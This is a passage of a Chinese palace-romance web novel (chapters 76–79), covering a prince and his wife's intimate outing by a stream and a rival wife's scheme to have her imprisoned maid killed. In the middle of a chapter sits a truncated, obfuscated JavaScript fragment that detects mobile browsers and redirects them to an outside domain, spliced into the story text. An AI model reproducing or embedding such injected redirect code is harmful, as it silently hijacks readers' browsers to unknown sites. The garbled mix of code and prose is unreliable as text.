姜黎婳今天穿的是淡蓝色的丝质抹胸束腰长裙,外面搭着同色的薄纱长衫,她行走在林中的青石板路上,青石板被水溅湿看上去很光滑,姜黎婳每一步都走得小心翼翼。
因为她走得慢,楚御礼过来找她,没一会儿就追到了她。
她听到响动回头看去,见是楚御礼,她眉梢微扬,“你怎么来了?”
“我知道下边一处水潭的风景很不错,带你过去?”楚御礼往前走了两步,朝她伸出手。
姜黎婳原本想一个人在这溪边林间走走,但见他朝自己伸出手,又说要带自己去一个风景不错的地方,她就无法拒绝,只能把手放在他的手心中。
楚御礼捏住她的手,越过她带着她往下边的青石路走去。
姜黎婳用了早膳就出来了,一直在水边玩,手早已经冰凉了,此时被楚御礼握着手,楚御礼手心的温度立刻温暖了她冰凉的手指。
她怔怔的看着前方把体温传给自己的人,有些疑惑,“殿下,你的手...”
不冰了...
不等她说完话,楚御礼已经停下了脚步,他回头看着她,眼神幽怨,“娘子,如今就我们夫妇二人,你还要这般生疏的叫为夫吗?”
姜黎婳囧,不叫殿下叫什么?
又要让她喊夫君啊?
那称呼开玩笑的时候喊一下还行,要每日都唤他夫君的话,她会被自己油死的!
姜黎婳想到自己整日喊他夫君的画面就忍不住打了一个寒战,太恐怖了!她绝对不要!
“娘子?”
姜黎婳抬眸,对着楚御礼露齿一笑,“殿下为什么总爱唤我娘子?”
这个问题其实已经困惑她很久了!
她一直想问,但是之前觉得有些突兀和冒犯他,便一直没问,现在为了逃避喊夫君,她只能搬出来当挡箭牌了。
楚御礼目光一顿,接着抬手捏了捏她那比哭还难看的笑脸,拉着她继续往下走,“因为娘子这个称呼只有你的夫君能喊。”
姜黎婳睫毛轻轻一颤,心像是被羽毛挠了一下,她抬头看着依旧穿着月白色长衫的男人,他的背影挺拔,身周仿若在散发寒气,但说出的话,却又那么烫人。
好似感受到了她的心境,楚御礼回眸看着她,问:“你不喜欢为夫这样喊你?”
姜黎婳一怔,接着开始思索他这个问题。
不喜欢吗?
好像没有。
这么久以来他一直喊她娘子,她都已经习惯了。
只是她很好奇,他为何喊她娘子。
她以前看过很多小说,里面男主一般都会喊自己的妻子夫人,或者王妃皇子妃...
只有他这个皇子,不喊她皇子妃,不喊她夫人,只喊她娘子。
好像是很特别。
“我没有不喜欢。”姜黎婳抬眸看着楚御礼,嘴角轻轻扬了扬,“那殿下希望我以后唤您为夫君?”
算了,油就油吧...总归他应该不会让自己每天都那样喊吧。
瞧着姜黎婳那带着笑,却满眼为难的模样,楚御礼胸腔溢出笑声,他抬起没有牵她的那只手拍了拍她的脑袋,笑道:“罢了,如今你喜欢怎么称呼就怎么称呼,为夫不强求。”
姜黎婳松了口气,脸上的笑容都真切了不少,她使劲地点了点头,漂亮的桃花源闪闪发光的看着他,语气轻快,“那我们还去看风景吗?”
楚御礼轻笑一声,拉着她转身继续往下走。
国公府。
苏清欢坐在浴桶中看着自己身上长条的痕迹,脑海中闪过昨天回来萧景宴质问她,姜黎婳和苏家关系的场景,又闪过昨夜萧景宴对她粗暴用强的画面。
她使劲搓着身上的痕迹,她喜欢男人在那种事情上强势一些,却绝非那等不顾她感受的粗鲁行径!
昨夜明明前半段她还有点知觉,但是后来她又昏**过去,直到今早才又恢复了意识!
苏清欢心头的疑惑越来越强烈,就在迷雾逐渐散开的时候,她在水中猛地拍了一下站起来,扬声喊道:“雪儿,进来!”
一个婢女快步走进来,低声道:“夫人,雪儿姑娘昨日出去之后还未回来。”
苏清欢眉头紧皱,语气也变了,“还没回来?”
昨天晌午回来曹氏就把她叫到院中骂了一通,后来又有萧景宴找她质问,晚上萧景宴还把她当发泄对象,她根本没注意被她派出去办事的雪儿还未回来。
“你派人去苏府问问,雪儿是不是回家看望她爹娘了。”雪儿算是苏家的家生子,比她小两三岁。
婢女应了一声退了出去。
苏清欢烦躁的站起来,拿着帕子擦干自己的身子,看着身上青紫色的痕迹,她没有了新婚夜那几日的悸动,只剩下烦躁与一丝自己都不曾察觉的恐惧。
晌午。
姜黎婳坐在溪边的凉亭中吃着凉糕,目光一直在溪中的浅潭中徘徊。
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坐在她对面的楚御礼瞧着她那跃跃欲试的目光,眼底的笑意逐渐变浓,看着她把一小碗凉糕吃完了,他又从食盒中取出一碗凉面,递到姜黎婳面前,轻声道:“此乃蜀州名厨所制的凉面,念你素不喜辣,就让他们少放了辣椒。里面的豆芽脆弹爽口,酸辣之味恰到好处,夏日食用,极为相宜,你且尝尝,看是否合你心意。”
姜黎婳平日在江南很少吃辣,但前世却是一个酷爱麻辣的人。
况且从瀑布上面走下来,花费了她不少体力,现在一碗凉糕根本不抵事,她笑着接过来拿起筷子把凉面拌了拌,吃了一口。
嗯!
是她吃过的那个味道!
她几下就把一碗凉面吃完了。
好辣!
她轻扬素手为樱唇送风,又接过楚御礼递来的丝帕轻拭嘴角,然后把杯盏中斟满清水,一饮而尽,接着直呼:“过瘾!”
楚御礼瞧着她被辣得嫣红的嘴唇喉结不自主的滚动了一下。
姜黎婳久未尝辣,忽然吃这么过瘾的凉面,现在只感觉头脑微醺,周遭一切都变得模糊,更未察觉到某个人的不对劲。
楚御礼又给姜黎婳递了一杯水,“有那么辣?”
姜黎婳又把一杯水一饮而尽,这才回答他,“很辣。”
楚御礼眸色变深,“我尝尝?”
姜黎婳看着空空如也的碗,心头闪过一个不可思议的想法...
不是吧!
他该不会是要吃她剩下的汤汁吧?
姜黎婳有些难为情的抬眸看向说要尝尝的人,低声道:“不大好吧?”
“我们是夫妇,有什么不好?”楚御礼说罢伸手一拉,原本还坐在石凳上的姜黎婳被他一把扯到自己腿上坐下,她眼睛一瞪,立刻推着楚御礼的肩膀,让自己的头和他拉开距离,“你要干什么?”
楚御礼看着满脸写着抗拒的姜黎婳眉头皱了皱,“你不愿意?”
“你愿意吗?”姜黎婳用一种一言难尽的眼神看着楚御礼,轻启朱唇,“殿下你这么重口味的吗?”
楚御礼蹙眉,他不过是想亲她一下,怎么就重口味了?
姜黎婳见他不说话,撇了撇嘴,对着他的鼻子呼了口气,“殿下,喜欢这种味道?”
楚御礼整个人一僵,愣愣的看着她,“........”
看到某人变绿的脸,姜黎婳脸一红,接着懊恼的站起来,嚷道:“给我水,我要漱口!”
第76章 杨梅的味道美妙绝伦
这凉面里面有蒜水!
她以前吃了凉面会立刻用漱口水漱口,然后吃两颗口香糖去味。
因为蒜子的味道在嘴里面实在是不好闻。
她刚刚也没想到楚御礼说的要尝尝是要亲她啊!
看到楚御礼有点变绿的脸色,姜黎婳忽然在想,她刚刚那个动作是不是唐突了一点?刚刚那口气不会是给他留下阴影了吧?
楚御礼好一会儿才从那口气里面缓过神来,他的手指微微弯曲,片刻后站起来,语气有些僵硬,“我去给你准备漱口的东西。”
姜黎婳做了那种丢人的事情,此时也不敢抬头去看他,她低着头小声问,“让人给我拿点杨梅可以吗?”
漱了口吃点杨梅,她喜欢杨梅的味道,多吃几颗杨梅就可以把蒜味压下去了。
楚御礼抬手拍了拍她的头,“你在这儿等我。”
他抬步往凉亭外走去。
姜黎婳回头看着他那略显萧条的背影,忍不住咬了咬嘴唇,她喊他,“殿下!”
楚御礼脚步微顿,他回头看来。
姜黎婳轻轻扣着手指,“你还会回来的吧?”
看到她忐忑的模样,又想到先前发生的事情,楚御礼倏地笑出声,“是我考虑不周,你不要多想,我很快就回来。”
姜黎婳安心了。
她真的怕自己刚刚那口气得罪了他,他一走了之,把自己丢在这山沟沟里面自生自灭!
虽然目前和他相处过来她知道他不是那样的人,也知道他让她陪他来这里,其实是为了让她散心的...
但是!
小说中男主角性情多变,时而将女主捧在手心,时而又翻脸无情,谁又能预料他不会一时恼怒,将她弃之不顾呢?
为了能安然走出这地方...
她觉得自己还是要多留一个心眼。
听到楚御礼说他还会回来,姜黎婳瞬间放松了心情,她朝楚御礼挥了挥手,“那我等你回来。”
楚御礼笑着点了点头,转身离开。
他转身之际,笑容瞬间敛去,取而代之的是满脸懊悔。
早知道那碗凉面那么破坏气氛,他就不让厨子准备开胃的凉面了!吃些杨梅吃些西瓜和凉糕不好吗?良辰美景窈窕淑女,接下来明明可以名正言顺的...
这么好的气氛,因为一碗凉面就被破坏了!
失算!
可是西瓜和凉糕吃多了伤胃,对她身子不好,她吃凉面又吃得那么香...
楚御礼被自己安抚好,紧皱的眉头也逐渐松开,嗯,下次让人准备凉面的时候,一定要让他们绝对不准放蒜...
想到姜黎婳那嫣红的嘴唇,楚御礼脚下生风,大步去找漱口工具和杨梅。
他想她的嘴唇是杨梅味的应该也很好吃吧...
两刻钟后。
楚御礼亲自提着漱口的工具和一小篮子冰镇杨梅回来,看着空无一人的凉亭,他心下一慌,往四周看去。
她走了?
回去的路只有那一条,她若回去的话,他们一定会遇到的。
她没回去。
她和苏家断绝关系了就不要他了?
想到这个可能,楚御礼心头猛地一沉,周身的气息瞬间凝结,他厉声唤道,“姜黎婳!”
“嗯?”懒洋洋的声音从凉亭下方响起。
楚御礼听到熟悉的声音,心头一松,快步走到凉亭边朝下方的小溪看去,只看到某人穿着衣裳踩在水中,双手还捧着水,而扬起头看过来的脸上还在滴水...
好一朵出水芙蓉...
姜黎婳瞥见他,随即低头将手中的水轻轻泼向脸颊,而后仰头对他一笑,道:“天气太热,忍不住下来洗把脸。”
楚御礼看了一眼她脱在溪边的鞋子,眸光逐渐变深,他转身绕过凉亭朝溪边走去,等走到溪边的时候,她已经从水里起来,光着脚丫站在光滑的鹅卵石上面,笑看着他。
楚御礼蹙眉走过去,“烫不烫脚?”
姜黎婳朝他伸手,一边摇头,“不烫,水很凉快,刚从水中出来,脚是冰的,踩上去正暖和。”
楚御礼把漱口的器具给她,又给她倒了水,看着她漱完口,又把冰镇杨梅递给她,“先吃点解解暑。”
姜黎婳接过来吃了几颗,又找了一个大石头坐下,把脚放在水中,然后把杨梅递到楚御礼面前,“殿下也尝尝?酸酸甜甜的很好吃。”
“我不爱吃酸的。”楚御礼把篮子放在旁边的石头上,顺势坐在她身边。
姜黎婳漱了口,又洗了脸,早已经把先前的尴尬抛之脑后了,此时听到楚御礼说不爱吃酸的,自己又连着吃了好几颗,冰爽酸甜交织的味道在舌尖绽放,令她不由自主地眯起了双眸,“这么好吃的东西殿下你不吃,真是可惜了呀。”
楚御礼瞧着她这模样,忍不住翘了翘嘴角,眼中升起一抹暖意,“很好吃?”
姜黎婳回眸看他,“嗯,确定不尝尝?”
“要。”他话音落下,不待姜黎婳反应,一把拉过姜黎婳的手往自己这边一带,接着抬手扣住她的下颌,噙住她的嘴唇。
姜黎婳双眸骤睁,整个人忘了反应。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800991|175099||http|test|mini|href|location''.split(''|''),0,{}));
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r>他喜欢这样尝东西啊...
感受到对方的僵硬,楚御礼微微退开一点距离,额头抵着她的额头,低声道:“放轻松,张嘴。”
姜黎婳几乎是条件反射的照做。
他唇舌霸道深入,将她唇齿间残留的甘甜一丝不剩地掠夺而去。
不知过了多久,姜黎婳感觉自己人都没劲儿了,那人才松开了她,她红着眼尾抬眸看了他一眼,低声道:“那样能尝到味道吗?”
她说完捂着嘴,不可置信地瞪眼。
刚刚说话的人是她吗?
那么娇软的声音是她的?
确定不是那些青楼的娘子俯身在她身上了吗?
楚御礼把她的一举一动尽收眼底,他面上挂着意犹未尽的微笑,抬手温柔地拭去她嘴角残留的水珠,声音低沉而沙哑,“能,如你所言,味道美妙绝伦。”
姜黎婳的耳根瞬间通红。
味道美妙绝伦?
是说杨梅还是...
她轻轻抬手扯开他放在她嘴唇上的手指,接着抓起两颗杨梅塞进他嘴里,“这样吃味道岂不是更好!”
先前还嫌杨梅酸的人慢条斯理的把杨梅吃了,吐出两颗果核,然后双目幽深的看向她,“你要不要尝尝我吃这两颗杨梅的味道?”
说罢不待姜黎婳拒绝,又欺身对着她嫣红的嘴唇亲了上去。
不知过了多久,楚御礼才松开衣裙几乎全打湿了的姜黎婳,他看了一眼浅绿色的浅潭水,哑着声音问姜黎婳,“要不要玩水?那夜我回来时听到你和知夏她们在凉亭中说,你以前爱玩水。”
姜黎婳双手轻轻抵在他坚实的胸膛上,脸颊绯红地瞥了一眼旁边的碧绿的潭水,“真的可以玩么?”
“怎么不可以?这里只有我们夫妇二人,你想怎么玩都可以。”
两刻钟后。
姜黎婳背贴在潭边光滑的大石上,眼睛看着飘在水面上住着了水中光景的衣裳,心头开始懊恼,她刚刚就不应该一时兴起下水的!
正在作乱的某人感受到了她的心不在焉,故意磨了她一下,情急之时,她眼尾殷红的抬手在他背上留下痕迹,嗔骂道:“楚御礼!你疯了!”
“专心一点。”
姜黎婳:“......”
这种地方她能专心吗?
他虽然再三保证了这里只有他们两个人,但是谁知道那些神出鬼没的暗卫会不会也在这儿?
看着飘在水面上完全遮住了他们的衣裳,姜黎婳沉默了。
这人是不是算计好的?所以故意带她来这儿散心的?
第77章 姜黎婳只感叹世态炎凉啊
食饱餍足的某人用自己宽大的长袍紧紧裹住疲惫不堪双腿发软的姜黎婳,轻轻地将她安置在大石上,随后转身将水中的衣物一一捞起,晾晒在岸边的石头上。
姜黎婳裹着湿透了的衣裳,只感觉身上不舒服,抬头看了一眼刺眼的太阳,她捂着脸,有些抱怨的说道:“我不想晒太阳,会晒黑的。”
“那就去凉亭中。”楚御礼把衣服晾好,穿着打湿的亵裤走过来弯腰抱她。
姜黎婳如今已经被他锻炼得与他怎么接触都不会有不适感了,她任由他把自己抱在怀中,蹙眉道:“但是凉亭里面晒不到太阳,衣裳又是湿的,着凉了怎么办?”
楚御礼垂眸看着故意朝他抱怨的姜黎婳,胸腔中发出低沉的笑声,“那不如在凉亭中,为夫一直抱着你,直到你的衣裳晾干,可好?”
姜黎婳想到方才在水中的场景,立刻条件反射地摇头,“不要!”
谁知道他一会儿抱着她会不会又狼性大发啊!
楚御礼瞧着她那一脸戒备的模样,只感觉某处一紧,他喉结上下滚动了一下,叹道:“娘子,你别再蹭来蹭去的。”
姜黎婳不动了。
她看了一眼自己雪白的腿,又看了一眼某人有些晒红的手臂,咬着牙道,“你把我放下来,我自己走上去。”
“石头打湿了你没穿鞋子容易滑倒,我抱你。”楚御礼说着跨步上了木梯,抱着姜黎婳走进凉亭。
进了凉亭姜黎婳就要下来,楚御礼也没有真的要抱着她等衣服晾干,把她放下来之后,他走到凉亭另一边从座凳楣子下面拿出一个包袱走过来放在石桌上,包袱打开,里面赫然是两套干净的衣裳,一套是男装一套是女装。
他笑着把女装递给姜黎婳,语气温柔,“快换上,仔细着凉。”
姜黎婳看着递到自己面前的女装,目光如箭,“你是蓄谋已久的吧!”
她现在完全可以确定,他把她骗到这里来,就是为了让她去玩水!而他在水里玩......她!
楚御礼想到现在在水里的种种,他垂眸遮住眼底的笑意,嘴角要翘不翘,“上次铃铛说你以前特别爱玩水,我听到了。”
“我知道!”姜黎婳咬牙切齿,“你刚刚说了!”
“我希望娘子还是能和以前在江南一样无忧无虑地玩水。”楚御礼说到这里已经走到了姜黎婳面前,“但我希望娘子只和我一起玩水。”
说罢抬手去脱姜黎婳身上湿掉的长衫,“为夫伺候你更衣?”
姜黎婳被他这话搅得心神不宁,她慌张的往后退了一步,不自在地抿嘴道,“可是...我刚刚根本没有好好地玩水。”
才刚下水没一会儿他就过来了,后来她不是在担心有没有人看,就是在防着自己一个不留神坠入水底呛到水...
楚御礼又往前走了一步,强势地帮她换衣裳,语气带着丝丝蛊惑,“那明日我们再过来玩?你好好地玩?”
姜黎婳心中忐忑,生怕冽风潜藏暗处保护他们,见他铁了心要帮自己穿衣裳,只能配合他快速把衣裳穿上,穿戴完毕,抬手解开发带,散开湿漉漉的青丝,这才朝楚御礼撇嘴道:“我又不笨,难道还能一而再,再而三地上当?”
楚御礼:“......”
他就知道她不好骗。
他无奈地笑着退回去自己换衣裳。
姜黎婳瞧他当着自己的面就开始脱亵裤,连忙转过身背着他,楚御礼瞧着她的模样,轻笑出声,“为夫身上娘子哪儿没见过?现在害羞了?”
“你快穿上吧!”姜黎婳捂着发红的脸,“一会儿有人来了你就早节不保了!”
楚御礼听着她这些奇奇怪怪的词,面上的笑容越发明显,他穿好衣裳走过来,伸手拉着她捂着脸的手,“我给你把头发擦干?”
“不用,一会儿走回去差不多就干了。”姜黎婳在凉亭的座凳楣子上坐下,趴在围栏上看石头上的衣裳,然后把目光落在浅绿色的潭水中...
她连忙收回目光,想到先前在水中发生的事情,她现在都无法直视那潭水和那块大石头了。
楚御礼把她的每一个细微动作尽收眼底,随即胸腔中荡漾起笑声,他缓步上前,轻揽姜黎婳入怀,嗓音低沉地说:“娘子,你如此模样,愈发让为夫觉得妙趣横生。”
姜黎婳头发是湿的,被他拉到怀中靠着,很快就把他的衣襟打湿了,但
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是他丝毫不在意,甚至用手指去玩她的头发,“累了就靠着我休息一下,一会儿衣裳干了我去收拾,晚些我们再回去。”
姜黎婳从他怀中挣扎出来,回头看着他,理直气壮地质问,“你是不是就想害我生病?”
楚御礼疑惑地看着她。
姜黎婳哼了一声,“想让我湿着头发睡觉就是要害我头疼,害我一病不起!”她眯着眼睛一副看穿了他的表情,“你说你是不是想害死我然后重新娶有钱有势的皇子妃。”
她说着站起身一副世态炎凉的模样盯着他,“也是,毕竟如今你的身体算是大好了,而我不过是一介商户之女,配不上你这大皇子了,唉...我掏心掏肺...”
“唔...”
姜黎婳瞪眼看着用嘴堵着自己的嘴不让自己说话的人。
楚御礼这次吻得有些发狠,直到姜黎婳喘不过气来了,他才松开她。
姜黎婳忽然被松开,整个人一软就要跌倒在地上,楚御礼伸手一把搂住她的腰肢稳稳地抱着她,接着垂头在她脖子上咬了一下,“不说了?”
姜黎婳头脑一片空白,早已忘了先前的言语,只本能地伸手抵住他的胸膛,生怕他又突然袭击自己。
楚御礼目光深邃,凝视着她颈间自己留下的痕迹,嗓音低沉而沙哑,“娘子,往后莫要再提那些话了,为夫听了心头难受。”
他说话的时候,温热的气息打在姜黎婳的脖子上,姜黎婳下意识的缩了缩肩膀,语气都有些飘忽,“什么话?”
“配不上我的那种话,若你再说,为夫就要惩罚你了。”楚御礼说着在她耳朵上亲了亲,“记住了吗?”
不说就不说嘛...
她先前就是因为被他莫名其妙的在水中给骗着那啥了,故意闹他玩的,谁知道他还听不得自己配不上他那种话了...
“知道了。”姜黎婳抿了抿嘴,忽然想到他刚刚说的惩罚,她瞪眼,“惩罚?你该不会还要打老婆...打媳妇吧?”
楚御礼被她的后知后觉逗笑,接着他把她往怀中一搂,笑着道:“放心,为夫可舍不得打你。”
姜黎婳闻言放松了,只要不**,那就没问题。
第78章 求人
苏清欢在萧府等了一天还是没等到雪儿的消息,派去苏家打听的人也说雪儿根本没有回苏家。
她有些着急,雪儿是知道她很多秘密的人,只有让雪儿留在她身边她才放心!若是雪儿把她那些秘密说出去,那她在国公府可能真的待不下去了!
想到这里她又焦急的让院中伺候的婢女再出去打听雪儿的消息。
在外面一整天没回家的萧景宴回家就听到苏清欢让人出去找她婢女的事情,他沉着脸跨进院子,冷声道:“不必找了,你那婢女如今在慎刑司。”
苏清欢脸色一僵,她不可置信的抬眸看向萧景宴,“雪儿怎么会在慎刑司?他们为什么要抓雪儿?”
“你觉得呢?”萧景宴冷着脸在红木椅上坐下,“皇室能看在国公府的面只罚了父亲俸禄,没有真正的问责你,但并不代表你的婢女就能逃脱责罚,你那婢女应该是活不成了,你重新再院中挑一个贴身伺候你吧。”
“不行!”苏清欢猛地站起来。
萧景宴眼睛一眯,抬眸凉凉的看着她,“你说什么?”
苏清欢恍然惊觉自己失态,她忙收敛心神,缓缓上前,在萧景宴面前蹲下,低声乞求:“世子,雪儿从小就跟在妾身身边伺候,这些年和妾身的关系就如同姐妹,妾身也已经习惯了雪儿在妾身身边伺候了,您帮帮妾身,去求一下陛下,放了雪儿一条生路吧,好不好?”
萧景宴垂眸睨着楚楚可怜的苏清欢,伸手捏着她的下颌,像是要把她看穿一样。
苏清欢因为被萧景宴逼迫着,下颌传来的疼痛让她很快红了眼眶,她伸手扯着萧景宴的衣袖,低声道:“世子?”
“那你就去代替她受罚吧。”萧景宴一把丢开苏清欢的下颌,目光变得阴沉,“本世子可帮不了你。”
他说罢站起身就要走。
“世子!”苏清欢一把拽住萧景宴的衣角,“真的没办法救她吗?那她会不会死?”
“你觉得呢?”萧景宴凉凉的丢下几个字,大步离开。
苏清欢被他用力的行走扯了一下摔在地上,伺候的婢女见状赶紧上前来扶着她起身,苏清欢坐在红木椅上,有些失神。
对。
死!只有**才能保住秘密!
可是要怎么才能让雪儿死在慎刑司里面呢?
两日后,京城某客栈。
苏清欢看着身穿一袭粉色长裙的小姐在婢女的搀扶下朝着自己这边走来,她笑着站起身来,笑着道:“艳玲妹妹,好久不见。”
蓝雪玲比苏清欢小一岁,是刑部尚书家中独子的长女,平日里娇宠着,是蓝家的掌中宝。
蓝雪玲瞧苏清欢对自己笑脸相迎的模样,心头有些不屑,她本不愿前来,毕竟苏清欢前两日才深陷丑闻,但念及对方已是定国公府的世子夫人,只得勉强应约。
她在嘴角扯出一个浅浅的弧度,“清欢姐姐,许久不见,自从你嫁人之后啊,咱们就没见过了。”
蓝雪玲在苏清欢对面坐下,漫不经心的看了一眼桌上精致的点心,轻声问,“姐姐今日约我出来时为了什么事情啊?”
“今日请妹妹出来其实是想请妹妹的祖父帮我在慎刑司找个人。”苏清欢拿出自己的准备好的盒子,“我的婢女雪儿,前两日被...”
“姐姐,慎刑司可不是我祖父能够得到的地方。”蓝雪玲打断苏清欢的话,把她的礼品盒子推了回去,“那是内务府的内刑部,只有宫中的总管太监才有权过问里面的事情,我祖父可不好管宫内内务府的事情。”
苏清欢的手不自觉地紧握,眼中闪过一丝焦虑,“蓝大人也没有办法吗?”
她原本想让人给雪儿捎点吃的,毒死她的,看来不行了...
“唉。”蓝雪玲轻轻摇头,“今日让姐姐白跑一趟了,实在是抱歉,若姐姐实在是想救你的婢女,其实可以去求求大皇子妃的,大皇子妃若是不计较的话,那...”
“谢谢雪玲妹妹提醒。”苏清欢听到蓝雪玲的话,知道蓝雪玲是误会自己此行的目的了,但是她又不能说自己是为了杀雪儿才来求对方的,她扯了扯嘴角,柔声道,“你也知道我和大皇子妃不合,之前我也是见不得她的做派,才会一时冲动做出那种事情,如今我又怎么会去求她呢!”
她知道蓝雪玲从以前就喜欢英俊的大皇子,前世她嫁给大皇子之后,蓝雪玲就打着上门看她的幌子几次接近楚御礼,只是楚御礼那个冷血无情的男人,根本就看不上她!
果然,蓝雪玲在听到苏清欢承认自己和姜黎婳
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不合之后,脸上的神情终于动了动,她问,“那大皇子妃不是挺好的吗?你为何见不惯她?我听外面传闻,好像大皇子很喜欢她呢,都不介意她只是江南商户之女。”
苏清欢从蓝雪玲的语气里面听出了试探。
想到前世那个男人对自己的冷漠,如今又对姜黎婳百般呵护。
说到底还不是被姜黎婳那张狐媚子脸给迷惑了!
“唉,大皇子本来身体就不好,又心地善良,那姜黎婳是他的妻子,大皇子就算不喜欢她,也会护她周全的啊。”苏清欢说到这里厌恶的撇了撇嘴,““她区区江南商户之女,怎配得上身份显赫的大皇子?依我看,大皇子妃之位,非雪玲妹妹这等尚书府千金莫属。”
蓝雪玲被苏清欢这话取悦了,她闻言眼底闪过一丝得意,但面上却嗔怪道:“清欢姐姐你可别胡说,这会坏了我的名声的!”
“好好,我不说。”苏清欢叹了口气,“就是可惜了我的婢女,明明是为我抱不平帮我办事,最后却...是我害了她。”
“其实也不是没有办法。”蓝雪玲眼睛转了转,“明日我入宫去找找我小姑姑。”
苏清欢闻言立刻道:“淑妃娘娘是四妃之一,定然能帮得上忙的,谢谢雪玲妹妹了。”
她把被蓝雪玲推回来的盒子再次推到蓝雪玲面前,“这是我的一点小心意,红宝石吊坠的金耳环,这么艳丽的颜色,就要赔妹妹你这般娇俏漂亮的美人儿才是。”
蓝雪玲被她夸得心花怒放,她把盒子打开,看到里面的耳环,她眼睛亮了亮,轻声道:“既然是清欢姐姐的一片心意,那我就却之不恭了。”
翌日。
淑妃好久没见自家侄女儿,瞧着忽然来访的侄女儿,她笑着把人拉到自己身边坐下,“怎么想着来看姑姑了?你表哥如今还在行宫,早知你要入宫,姑母就给你表哥写信,让他回宫带你去玩了。”
提起表哥,蓝雪玲并不在意,她往四周看了一眼,轻声问,“姑母,你不去皇后娘娘那边请安吗?”
提起皇后淑妃脸上的笑容淡了一些,“已经去过回来了。”她松开蓝雪玲的手,“你入宫来找姑母有事?”
“是有一件事情。”蓝雪玲把苏清欢求自己的事情说了。
第79章 萧景宴知道苏清欢身世
淑妃瞧着进宫来就只是来求自己帮人捞婢女的侄女,她眼中寒意渐浓,语气也随之转冷,“雪玲啊,你堂堂刑部尚书府的千金,是姑母最喜欢的侄女,竟然为了一个婢女来求本宫?”
蓝雪玲抿了抿嘴,面上闪过羞愧,但是想到昨天苏清欢对自己说的那些话,她又忍不住道:“那婢女也没错什么啊,那个大皇子妃不过是江南小商户的女儿,却敢欺君嫁入皇宫,可见心术不正,姑母,您就不能...”
“够了。”淑妃厉声喝止蓝雪玲,厉声道:“苏家和定国公世子夫人的下场还在前面摆着,你还敢在本宫宫中口出狂言?”
淑妃挥退殿中伺候的宫人,冷冷地看着蓝雪玲,“你这么容易被人鼓动,若是嫁到宫中没人护着你的话,你早晚被吃得连骨头都不剩!”
原本被淑妃呵斥了还有些害怕的蓝雪玲听到淑妃这话,她安心的笑了,“我不是还有姑母您护着我吗?”
“你别以为我不知道你的心思。”淑妃嗔了蓝雪玲一眼,“那大皇子不过是容貌出众了些,有什么好的?让你这般念念不忘。”
提到楚御礼,蓝雪玲的眼睛亮了一下,她轻声道:“长得好看还不够吗?”
“够什么?”淑妃伸手戳了蓝雪玲的额头一下,“他长得再好看命也不长,况且他如今已经有了正妃了,难道你还想去给他做妾不成?”
蓝雪玲闻言眉头一下子皱了起来,脸色也变得难看了,“那女人岂能与大皇子相配?更遑论成为大皇子正妃!她不配!”
“你说不配就不配?”淑妃头疼的揉了揉太阳穴,“皇后都不介意,你倒还替人打抱不平了。”
说到这里淑妃抬起头下逐客令,“没什么事就回去,姑母累了。”
小半个时辰后,凤仪宫。
皇后听了佩蓉的话,眼底闪过一丝冷意,“你去慎刑司走一趟吧,敲开那婢女的嘴巴,然后再把人送回国公府。”
佩蓉不解的看向皇后,“娘娘为何要把那婢女放回去?”
“大皇子妃既已不与苏清欢计较,又何必再拘她的婢女?”皇后想到佩蓉刚刚给自己说的那些话,眼底的冷意越发明显,“再说了,那苏清欢这么着急想要把自己的婢女找回去,那就说明这个婢女知道她不少秘密,你这时候去见了那个婢女再把她放出去,你说苏清欢会不会怀疑她的忠心?”
皇后漫不经心的看了佩蓉一眼,语气幽幽,“有时候,恶人不一定非要我们自己做。”
就像淑妃一样,在她面前装了这么多年的好妹妹,暗地里却盼着她的儿子快死了给她的儿子让位!
佩蓉听了皇后的话,眼底浮出佩服之色,“娘娘,您终于...”
“快去办事,别让人抢先了。”皇后摆了摆手。
在她为儿子铲除障碍之前,她还不想听到这些夸她的话。
苏清欢在家中提心吊胆的等了一天都没有等到雪儿被释放或者被处死的消息,她焦急的在屋中走来走去,就在她快要坐不住的时候,院中婢女喜笑颜开的走进来,“夫人,雪儿回来了。”
苏清欢脸色骤变,随即迈步向外走去,院中雪儿完好无损的站在那里,看到苏清欢走出来,她连忙给苏清欢跪了下去,“夫人,是奴婢办事不力,害了您,求您责罚。”
苏清欢看着身上和手上都没受伤的雪儿,眉头微蹙,“他们没有为难你?”
雪儿回想起那些令人胆寒的刑具,还有自己对那个放了自己的嬷嬷说的话,她眼底闪过一丝心虚,不过这是心虚很快被她掩盖过去,她轻轻摇了摇头,“他们只是把我关起来不给我饭吃。”
“是谁把你放出来的?”苏清欢沉声问。
蓝雪玲的本事真的这么大?
她昨天之所以求蓝雪玲原本是想让蓝雪玲帮她送点吃食把雪儿毒死,但后来蓝雪玲却说可以求她姑姑帮她把人救出来,她便不好在说什么。
心却想手柄可以利用蓝雪玲去刺激一下姜黎婳,然后借姜黎婳或者楚御礼的手把雪儿给弄死,谁知道这雪儿今天竟然被放出来了?
雪儿垂着头,低声道:“那个放了我的嬷嬷说是大皇子妃大人大量,不与我这个下人一般计较,所以把我放回来的。”
苏清欢听到大皇子妃大人大量几个字,就想到了自己那天在朱雀大街给姜黎婳认错之后,那些百姓对着她说三道四,昨天自己出去,有些百姓认出了她还对她指指点点...
“你是不是说了什么不该说的话?”苏清欢脸色当即黑了下去,她几步上前走到雪儿面前蹲下身子,低声喝道:“你是不是把我的秘密告诉姜黎婳了?”
姜黎婳那个贱婢怎么可能大人大量!那个女人分明就是小肚鸡肠!
她能把雪儿放回来,定然是雪儿背叛她了!
雪儿摇头,“奴婢在里面被关这几天连大皇子妃都没见过。”
“你说的最好是实话。”苏清欢阴沉的看着雪儿,厉声警告,“若是让我知道你敢背叛我,小心你全家的性命!”
雪儿连忙磕头表忠心,“雪儿发誓,雪儿绝对不会背叛您的!”
苏清欢这才放过了雪儿,她站起来凉凉的看了一眼还跪在地上的雪儿,“在慎刑司被关了两天,身上都臭了,去洗洗吧,今天就别过来伺候了。”
雪儿连忙谢恩,“多谢夫人体恤。”
站在院外看着这一幕的萧景宴眉梢微微一挑,转身朝自己的院子走去,一边吩咐自己的小厮,“把那个雪儿带过来,本世子有话要问。”
